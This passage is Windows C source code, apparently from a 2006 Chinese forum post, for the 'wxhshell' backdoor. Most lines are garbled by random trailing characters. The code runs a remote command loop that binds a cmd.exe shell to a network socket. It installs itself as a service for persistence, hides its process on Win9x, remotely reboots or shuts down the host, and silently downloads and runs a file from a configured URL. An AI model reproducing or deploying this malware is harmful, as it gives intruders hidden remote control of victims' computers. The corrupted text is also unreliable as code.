  case '?': { ^<V9'Ut   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _|c&@M  
    break; #S QXTR  
  } 5#:pT  
  // 安装 lH BI  
  case 'i': { bk#xiuwT  
    if(Install()) fhp)S",  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RcY[rnI6  
    else sB}]yw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $,1dQeE  
    break; wV <7pi  
    } 2V#6q,2  
  // 卸载 :jNYP{Br  
  case 'r': { vM0_>1nN  
    if(Uninstall()) eVy2|n9rH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ft5DU/%  
    else f|0lj   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )@QJ  
    break; Uf,fX/:!  
    } J2Et-Cz1  
  // 显示 wxhshell 所在路径 Y'm=etE  
  case 'p': { H~+xB1  
    char svExeFile[MAX_PATH]; i1*C{Lf;%)  
    strcpy(svExeFile,"\n\r"); vx0UoKX  
      strcat(svExeFile,ExeFile); go|>o5!g  
        send(wsh,svExeFile,strlen(svExeFile),0); cFfTYP9  
    break; p]LnE `v  
    } )y50Mb0+  
  // 重启 &H;8QZ8uw  
  case 'b': { `bgb*Yaod  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vP]9;mQ  
    if(Boot(REBOOT)) (}H ,ng'4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @h-T:$  
    else { 6TFo|z!C  
    closesocket(wsh); u]vPy ria  
    ExitThread(0); k'13f,o}  
    } Y5TS>iEE]  
    break; swr"k6;G  
    } 3A0_C?E  
  // 关机 fp !:u  
  case 'd': { L=A\ J^%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =3+L#P=i9  
    if(Boot(SHUTDOWN)) l:e9y$_)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ XH@b6{  
    else { tP'GNsq+m  
    closesocket(wsh); XI}I.M  
    ExitThread(0); rZC3\,W  
    } ;w6s<a@Zh  
    break; d.}}s$Q  
    } jn=ug42d  
  // 获取shell jPwef##~7  
  case 's': { Z.jCera.  
    CmdShell(wsh); 3ut_Bt\  
    closesocket(wsh); WM< \e  
    ExitThread(0); G.jQX'%4QG  
    break; jb@\i@-  
  } {g=b]yg\o  
  // 退出 ,?=KgG1i  
  case 'x': { z-Hkz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (&Q)EBdm  
    CloseIt(wsh); H1UL.g%d=  
    break; Z`xyb>$  
    } !LSs9_w  
  // 离开 Q_lu`F|  
  case 'q': { EVz9WY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p$OD*f_b  
    closesocket(wsh); 9eSRCLhgD  
    WSACleanup(); /RF%1!M K  
    exit(1); 1M+Zkak7p  
    break; el Kx]%k*)  
        } y9 uVCR  
  } i7v/A&Rc  
  } ~= 9V v  
*PcVSEP/0  
  // 提示信息 @,6ST0xT (  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &wGg6$  
} rt;gC[3\  
  } g\J)= ,ju,  
)+B=z}:Nfz  
  return; GMb!Q0I8  
} NKh,z& _5-  
u[[/w&UV.,  
// shell模块句柄 (-2R{! A  
int CmdShell(SOCKET sock) !u0U5>ccw  
{ ,?w!5N;iRO  
STARTUPINFO si; ![Hhxu  
ZeroMemory(&si,sizeof(si)); $~hdm$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {{zua- F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ScHlfk p  
PROCESS_INFORMATION ProcessInfo; onh?/3l  
char cmdline[]="cmd"; t'Htx1#Zc[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cUM_ncYOP  
  return 0; ] zIfC>@R  
} yy))Z0E5  
(\uA AW"  
// 自身启动模式 3GINv3_  
int StartFromService(void) x 8M#t(hw  
{ `vH&K{   
typedef struct Bfn]-]>sD  
{ B%(K0`G#X  
  DWORD ExitStatus; u;(K34!)  
  DWORD PebBaseAddress; |@q9{h7  
  DWORD AffinityMask; Ctj8tK$D  
  DWORD BasePriority; '}fel5YV  
  ULONG UniqueProcessId; ])68wqD  
  ULONG InheritedFromUniqueProcessId; -_w~JCx  
}   PROCESS_BASIC_INFORMATION; jqqaw  
jQ^Yj"6  
PROCNTQSIP NtQueryInformationProcess; {Ot[WF  
KMe.i'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5 2fO)!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Nq  U9/  
ndB@J*Imu  
  HANDLE             hProcess; S#hu2\9D,  
  PROCESS_BASIC_INFORMATION pbi; &}O8w77  
HMQ 'b(a'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {'&8`d  
  if(NULL == hInst ) return 0; (A|B@a!Y>  
o:f|zf> i<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jiOf')d5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u4C1W|x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <JJkki  
l [x%I  
  if (!NtQueryInformationProcess) return 0; &LwJ'h +nd  
ew/KZE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @u<0_r t  
  if(!hProcess) return 0; l#|J rU!  
'bG1U`v=3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (T4k~T`3  
U0zW9jB  
  CloseHandle(hProcess); &F9OZMK=  
?Ip$;s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0rGj|@+;  
if(hProcess==NULL) return 0; mn Qal>0~  
:Z]/Q/$  
HMODULE hMod; 8[f8k 3g  
char procName[255]; W3aXW,P.V  
unsigned long cbNeeded; 7kOE/>P?  
Kl!DKeF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w# xncH:1  
rg"TJ"Q-  
  CloseHandle(hProcess); J~fuW?a]r  
5=Zp%[ #  
if(strstr(procName,"services")) return 1; // 以服务启动 L>i<dD{  
-.^=Z!=M  
  return 0; // 注册表启动 ho(5r5SNE  
} % d4+Ctrp-  
$;Q=iv 3  
// 主模块  %L{  
int StartWxhshell(LPSTR lpCmdLine) 7B VXBw  
{ aKa  R  
  SOCKET wsl; 1+VY><=n  
BOOL val=TRUE; ]gjr+GV  
  int port=0; .$n$%|"H-  
  struct sockaddr_in door; w 5!ndu  
KC#kss  
  if(wscfg.ws_autoins) Install(); 4|I7:~  
|qQ{8T%)  
port=atoi(lpCmdLine); ;,()wH  
5XhK#X%:A  
if(port<=0) port=wscfg.ws_port; c&0;wgieg  
G%y>:$rw[O  
  WSADATA data; @G7w(>_T3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QZ6[*_Z6  
Ax :3}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4o)(d=q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C+ZQB)gn  
  door.sin_family = AF_INET; )R8%wk?2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A!Knp=Gw  
  door.sin_port = htons(port); TB ;3`  
qr7 X-[&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >Iu]T{QNO  
closesocket(wsl); (R9QBZP5  
return 1; m+;B!4 6  
} (rau8  
&Bj,.dD/a  
  if(listen(wsl,2) == INVALID_SOCKET) { TXZ(mj?  
closesocket(wsl); 49iR8w?k  
return 1; *1 n;p)K  
} uEc0/ a :.  
  Wxhshell(wsl); cfrvy^>,  
  WSACleanup(); 3P%w-qT!N  
|G|*  
return 0; =$&7IQ?  
\7OJN ~&<  
} UIC\CP d  
+,ZU TG  
// 以NT服务方式启动 x*5 Ch~<k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YlZYS'_  
{ >!:$@!6L  
DWORD   status = 0; 2GHXn:V  
  DWORD   specificError = 0xfffffff; i*mZi4URN  
[q0_7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u|]mcZ,ZW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ] P:NnKgK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [=]+lei  
  serviceStatus.dwWin32ExitCode     = 0; 7,) 67G;  
  serviceStatus.dwServiceSpecificExitCode = 0; )*psDjZ7*  
  serviceStatus.dwCheckPoint       = 0; $gj+v+%N  
  serviceStatus.dwWaitHint       = 0; qcR|E`k-G  
t~+{Hr) #y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); = ]dz1~/  
  if (hServiceStatusHandle==0) return; Q#yu(  
}1X11+/W  
status = GetLastError(); Wto@u4  
  if (status!=NO_ERROR) `'A(`. CL  
{ 3D 4]yR5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _WRR 3  
    serviceStatus.dwCheckPoint       = 0; 4Zv.[V]iOO  
    serviceStatus.dwWaitHint       = 0; kxr6sO~  
    serviceStatus.dwWin32ExitCode     = status; =8$(i[;6w  
    serviceStatus.dwServiceSpecificExitCode = specificError; .!7Fe)(x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $M}k%Z  
    return; Ak %no3:9  
  } =hZ&66  
ft~|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CPF>^Mp#  
  serviceStatus.dwCheckPoint       = 0; +SZ%&  
  serviceStatus.dwWaitHint       = 0; }"g21-T^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i?&4SG+2~K  
} rzYobOKd#  
t5X G^3X@  
// 处理NT服务事件,比如:启动、停止 $ g1wK}B3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s/W!6JX4  
{ >Rl0%!  
switch(fdwControl) O]$*EiO\  
{ 6ywnyh  
case SERVICE_CONTROL_STOP: onWYT}c{  
  serviceStatus.dwWin32ExitCode = 0; ^5FJ}MMJf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,Do$`yO+  
  serviceStatus.dwCheckPoint   = 0; 2m)kyQ  
  serviceStatus.dwWaitHint     = 0; \ pe[V~F  
  { 36x5q 1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .dg 4gr\D  
  } xy-$v   
  return; #G[ *2h~99  
case SERVICE_CONTROL_PAUSE: G>_42Rp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (d5vH)+ A  
  break; N>cp>&jV  
case SERVICE_CONTROL_CONTINUE: oneSgJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X d19GP!  
  break; [pRVZV  
case SERVICE_CONTROL_INTERROGATE: v ,G-k2$Qe  
  break; G]m[ S-  
}; *1ID`o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U l7pxzj  
} @> +^<  
i SAidK,  
// 标准应用程序主函数 X,iuz/Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eK=m02  
{ W=;(t  
Un8#f+odR  
// 获取操作系统版本 )LMBxyS  
OsIsNt=GetOsVer(); f/IRO33  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q J(e*/  
YfrTvKX  
  // 从命令行安装 4? /ot;>2  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1=/MT#d^?  
5w,YBUp  
  // 下载执行文件 w7`@=kVx  
if(wscfg.ws_downexe) { p)[ BB6E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pT_e;,KW U  
  WinExec(wscfg.ws_filenam,SW_HIDE); :(S/$^U  
} RB$ 8^#  
L[QI 5N  
if(!OsIsNt) { "PDSqYA  
// 如果时win9x,隐藏进程并且设置为注册表启动 +n8I(l=  
HideProc(); 9rf|r 3  
StartWxhshell(lpCmdLine); WW8L~4Zy  
} 1=o(sIeA  
else 3' :[i2[  
  if(StartFromService()) Bgo"JNM  
  // 以服务方式启动 79c9 +  
  StartServiceCtrlDispatcher(DispatchTable); <'4!G"_EP  
else ^RF mRn  
  // 普通方式启动 v&CO#vK5.  
  StartWxhshell(lpCmdLine); f-f\}G&G  
43orR !.Z  
return 0; t+4%,n f_1  
}
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只看该作者 1 发表于: 2006-10-10
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